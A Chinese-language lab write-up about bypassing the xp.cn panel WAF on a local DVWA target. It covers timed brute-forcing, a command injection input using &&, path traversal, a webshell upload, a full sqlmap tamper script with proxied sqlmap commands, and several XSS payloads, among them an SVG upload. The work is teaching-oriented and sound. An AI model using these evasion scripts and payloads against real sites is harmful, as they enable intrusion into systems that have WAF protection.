一. 环境搭建

这里用的是小皮面板的WAF,配合DVWA靶场。

由于我们这里的目的是为了演示WAF的绕过,跟DVWA本身的难度没啥关系,所以为了方便,难度全是LOW

目前WAF为默认设置,未进行任何改动

二. 实操演练

1. Brute Force

这里是密码爆破部分

正常的话应该是抓包爆破的,如果存在WAF拦截的话,应该就是在爆破那里,可能会有一个关于时间的拦截判定

(1) 正常操作

这道题,已知账号是admin,跑密码

正常抓包爆破一下

得到密码password

页面报错,说明waf给拦截掉了,看看后台是怎么拦的

全部当成CC流量给拦截了

可以看到,根据规则,如果60s内,发出1200个请求,那么就禁止该IP对此URL的访问,时间一个小时

(2) WAF绕过

这个简单,只需要加一个时间就行了。

这里自己设置就可以了

得到密码

页面正常,成功

不过这里会有日志……

(3) WAF防御

没办法解决,只能看日志去过滤

2. Command Injection

(1) WAF过滤

这里是命令注入

这里如果有WAF的话,应该就是特殊字符,就是那几个管道符

我们试试

1
192.168.1.214 && netstat -ano

可以,说明WAF没有过滤&&

没有日志

(2) WAF防御

URL里加过滤条目就行了,把常用的管道符全给你过滤了,空格啥的也得过滤,最好16进制那些东西也去全给加上

3. CSRF

(1) 正常操作

这是CSRF的一个攻击

这里如果存在WAF的话,应该就是不允许跨站

成功了

没有日志

(2) WAF防御

有些WAF有专门的CSRF防御,目前我能想到的就是加几个特征值,比如像Pixiv那样加个referer

4. File Inclusion

文件包含,这里如果有的话,应该也是URL过滤

(1) 正常操作

这是网站自己的过滤,跟WAF没关系,应该是无法访问除网站目录外的东西

……这应该是被过滤了

应该是GET请求的URL有过滤

(2) WAF绕过

他没过滤..\

(3) WAF防御

还是过滤的问题

5. File Upload

文件上传

(1) 正常操作

???上传上去了???

我去!基本就没防呗

???

哦!他是把工具流量给防住了……

(2) WAF绕过

哦,可能是UA给过滤了。但是也不一定,蚁剑的UA可不是那么好放的

大概率是POST请求参数给你过滤了

重新写马呗,注意他把参数全给你过滤了……

突然想到我用的是蚁剑!他好像可以通过其他的发包方式来绕过WAF检测

成了。

6. SQL Injection

(1) 正常操作

GET请求SQL注入,又是WAF的URL过滤

跑SQLmap

提示有WAF

(2) WAF绕过

看日志

直接给你拦了,那么问题来了,怎么拦的?无非就是检测工具或者检测访问的URL,不过我们这里看样子是检测URL

我好像之前在SQLmap那篇文章里拉了点东西,tamper,这个是SQLmap的模组脚本,这里我们来演示一下。

我这里用迪师傅的脚本来试试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 迪师傅的rdog.py  
import os
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST


def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (
os.path.basename(__file__).split(".")[0], DBMS.MYSQL))


def tamper(payload, **kwargs):
# %23a%0aunion/*!44575select*/1,2,3
if payload:
payload = payload.replace("union", "%23a%0aunion")
payload = payload.replace("select", "/*!44575select*/")
payload = payload.replace("%20", "%23a%0a")
payload = payload.replace(" ", "%23a%0a")
payload = payload.replace("database()", "database%23a%0a()")
return payload

我们这里捋一下,可能有啥防御,首先就是CC防护,加个延时,不然IP被封了就太恶心了;然后就是我们的过滤脚本,用上面的就行,防止请求的URL被封了;还有啥……对了UA,不知道他检不检测,不过我们还是给加个随机UA吧;对了,万一被封了,我们还是整个代理吧,来回调试是真烦人。

延时是--delay 1,这就是延时1s;过滤脚本是--tamper "rdog";随机脚本是--random-agent

不过这个代理……嘶……,本机127.0.0.1的回环地址代理?也行。不过还是有风险……。

对了!可以Burp代理,不过这里还需要配置一下Burp的上层代理

我的Burp代理端口是8080,那么就是--proxy "http://192.168.31.135:8080",至于为啥我没用回环地址,因为我的Kali在虚拟机里。

可以访问

然后就是Burp的上层代理了,设置它的原因是,我们在SQLmap设置的代理是将SQLmap的请求转到Burp,上层代理是将Burp的流量转到代理,然后再转到网站。

这样被封的概率就很小了

感觉还有个东西没设置……先不管了,试试

1
sqlmap -u "http://dvwa_hack.top/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" -o --proxy "http://192.168.31.135:8080" --delay 1 --tamper "rdog" --random-agent --cookie="security=low; PHPSESSID=e189qnnqn7tr5oup090sq1gub4" -dbs

成功!

那么接下来就简单了,不多说了

8. SQL Injection (Blind)

(1) 正常操作

先注意这个URL

这个是正常情况下的网页访问

1
sqlmap -u "http://dvwa_hack.top/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" -p "id" -dbs

(2) WAF绕过

直接套上面的代码试试

1
sqlmap -u "http://dvwa_hack.top/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" -p "id" -o --proxy "http://192.168.31.135:8081" --delay 1 --tamper "rdog" --random-agent --cookie="PHPSESSID=o6dd32qpg7mr99tatadje4o3ju; security=low" -dbs

结果还是一样。这是为啥?

由于我们设置了burp代理,我们去burp看看是啥情况

可以看到,就有两条请求链接,根据SQLmap给出的提示

1
[11:12:46] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS

检测出有WAF,但是之后的操作我们就不知道了,抓包试试,看看这个流程是啥情况

请求包1

1
2
3
4
5
6
7
8
GET /vulnerabilities/sqli_blind/?id=1&Submit=Submit HTTP/1.1
Cache-Control: no-cache
Cookie: PHPSESSID=o6dd32qpg7mr99tatadje4o3ju; security=low
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 (.NET CLR 3.5.30729) FirePHP/0.4
Host: dvwa_hack.top
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

请求包2

1
2
3
4
5
6
7
8
GET /vulnerabilities/sqli_blind/?id=1&Submit=Submit HTTP/1.1
Cache-Control: no-cache
Cookie: PHPSESSID=o6dd32qpg7mr99tatadje4o3ju; security=low
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 (.NET CLR 3.5.30729) FirePHP/0.4
Host: dvwa_hack.top
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

感觉……好像少个refererhost也没有。我们再看看正常访问得到的请求是啥

1
2
3
4
5
6
7
8
9
10
GET /vulnerabilities/sqli_blind/index.php?id=1&Submit=Submit HTTP/1.1
Host: dvwa_hack.top
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://dvwa_hack.top/vulnerabilities/sqli_blind/index.php
Cookie: PHPSESSID=9tqvog5jbh87mbmm47ljkuafms; security=low
Upgrade-Insecure-Requests: 1

可以看到,少了RefererHostUpgrade-Insecure-Requests

我们直接对这个请求包进行攻击试试

保存至request.txt

1
sqlmap -r request.txt -p "id" -o --proxy "http://192.168.31.135:8081" --delay 1 --tamper "rdog" -dbs

成功。

(3) 邪门歪道

这是我突然发现的,就是index.php

我们可以再URL后面加一个index.php来进行攻击

1
sqlmap -u "http://dvwa_hack.top/vulnerabilities/sqli_blind/index.php?id=1&Submit=Submit#" -p "id" -o --proxy "http://192.168.31.135:8081" --delay 1 --tamper "rdog" --random-agent --cookie="PHPSESSID=o6dd32qpg7mr99tatadje4o3ju; security=low" -dbs

我们去用这串命令攻击

很神奇,我也不知道为啥,可能是WAF的一个BUG吧

9. XSS(DOM)

(1) 正常操作

这里的WAF过滤就没啥了,就是URL过滤

试试

被拦截

这是DOM型,我们试试改DOM

这个时候选择一下

还是不行。

试试<img x src='x' xx onerror='alert(1)'>

也是不行

(2) WAF绕过

这里的绕过方式有一堆

  • 编码加密
1
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIHRlc3QiKTs8L3NjcmlwdD4="></object>

这玩意不常用哈,因为需要用<object>给扩死,被过滤了就废了

试试

废了。

  • 过滤引号
1
<img src="x" onerror=alert(`xss`);>

试试

很好,不行

  • 过滤括号
1
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">

还是不行

他是把所有的元素全给你过滤了,试试index.php行不行

……好吧,看一下WAF到底是怎么设置的

……这还注入个毛啊,全过滤了,完蛋

我是没啥办法了,这些参数我也没一个一个的去试,可能有些参数就可以,不过我就不试了。

(3) XSS SVG注入

原地址: https://mp.weixin.qq.com/s/g7VoJtAk-9J01jyl_Hieyw

这个方法是通过上传文件来触发XSS

我们来试试

首先上传一个图片

我们把图片内容换成如下代码

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>  
<svg
onload="alert(1)"
xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
</svg>

将文件名改成1.svg

将Content-Type(也就是mime)改为Content-Type: image/svg+xml

放行

上传成功

访问文件上传的路径

成功!

11. XSS(Reflected )

简单试试

这个和上面一样了,全被过滤了,只能用其他方式

既然这是反射型XSS,我们用工具扫扫

出来了

1
<DETails%09onPOInteReNter%09=%09confirm()%0dx//

这个就是

还得是工具啊,我们试试

可以,我们只需要再confirm()里加东西就行了,然后触发一个onpoInterenter事件,当鼠标光标移入该对象时触发

1
<DETails%09onPOInteReNter%09=%09confirm("trtyr")%0dx//

把鼠标移到详细那里,就可以触发XSS

12. XSS(Stored)

没整出来,可以得到paylaod,但是注入后页面会直接返回503